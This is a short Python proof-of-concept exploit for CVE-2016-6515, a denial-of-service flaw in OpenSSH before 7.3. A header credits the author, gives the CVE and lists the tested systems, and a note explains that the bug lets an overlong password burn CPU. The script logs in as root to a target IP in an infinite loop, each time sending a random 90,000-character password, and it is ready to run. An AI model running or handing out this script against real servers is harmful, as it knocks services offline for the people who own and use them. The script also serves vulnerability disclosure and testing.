################################################################################
# Title     : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
# Author    : Kashinath T (tkashinath@secpod.com) (www.secpod.com)
# Vendor    : http://www.openssh.com/
# Software  : http://www.openssh.com/
# Version   : OpenSSH before 7.3
# Tested on : Ubuntu 16.04 LTS, Centos 7
# CVE       : CVE-2016-6515
# Date      : 20-10-2016
#
# NOTE:
# If the remote machine is installed and running OpenSSH version prior to 7.3,
# it does not limit the password length for authentication. Hence, to exploit
# this vulnerability' we will send a crafted data which is of 90000 characters
# in length to the 'password' field while attempting to log in to a remote
# machine via ssh with username as 'root'.
#
# For more info refer,
# http://www.secpod.com/blog/openssh-crypt-cpu-consumption
################################################################################
 
import sys
from random import choice
from string import lowercase
 
try:
    import paramiko
except ImportError:
    print "[-] python module 'paramiko' is missing, Install paramiko with" \
          " following command 'sudo pip install paramiko'"
    sys.exit(0)
 
 
class ssh_exploit:
 
    def __init__(self):
        """
        Initialise the objects
        """
 
    def ssh_login(self, remote_ip):
 
        try:
            # Crafted password of length 90000
            passwd_len = 90000
            crafted_passwd = "".join(choice(lowercase)
                                     for i in range(passwd_len))
 
            # Connect to a remote machine via ssh
            ssh = paramiko.SSHClient()
            ssh.load_system_host_keys()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 
            # calling connect in infinite loop
            print "[+] Entering infinite loop"
            while 1:
                ssh.connect(remote_ip, username='root',
                            password=crafted_passwd)
 
        except Exception, msg:
            print "Error in connecting to remote host : ", remote_ip
            print "Exception in : ssh_login method."
            sys.exit(msg)
 
 
def main():
 
    if len(sys.argv) != 2:
        print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
        sys.exit()
 
    # Calling ssh_connect
    ref_obj = ssh_exploit()
    ref_obj.ssh_login(sys.argv[1])
 
 
if __name__ == "__main__":
    main()